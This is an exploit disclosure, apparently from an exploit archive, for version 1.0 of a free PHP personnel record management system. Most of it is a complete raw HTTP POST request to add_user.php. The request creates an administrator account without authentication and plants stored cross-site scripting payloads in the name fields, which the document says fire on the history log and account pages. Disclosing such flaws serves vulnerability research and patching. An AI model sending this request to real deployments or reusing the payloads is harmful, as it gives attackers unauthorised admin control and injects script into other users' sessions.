# Exploit Title: Personnel Record Management System | Unauthenticated Add Admin Account (plus Stored XSS) # Exploit Author: Richard Jones # Date: 28/06/2021 # Vendor Homepage: https://www.sourcecodester.com/php/5107/record-management-system.html # Software Link: https://www.sourcecodester.com/download-code?nid=5107&title=Record+Management+System+in+PHP+Free+Source+Code # Version: 1.0 # Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34 #Exploit: ------------------------------------------------------------------------------------------------- POST /Personnel_record_management_system/add_user.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 147 Origin: http://127.0.0.1 Connection: close Referer: http://127.0.0.1/Personnel_record_management_system/add_user.php Cookie: PHPSESSID=8bkj7jlpmlbuqtnti8urp7qcmo Upgrade-Insecure-Requests: 1 username=admin2&password=admin2&firstname=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&lastname=%3Cscript%3Ealert%282%29%3C%2Fscript%3E&type=Admin&save= ------------------------------------------------------------------------------------------------- This will add a new admin account unauthenticated with stored Cross-Site-Scripting. XSS can be accessed in history log, Admin account, user account pages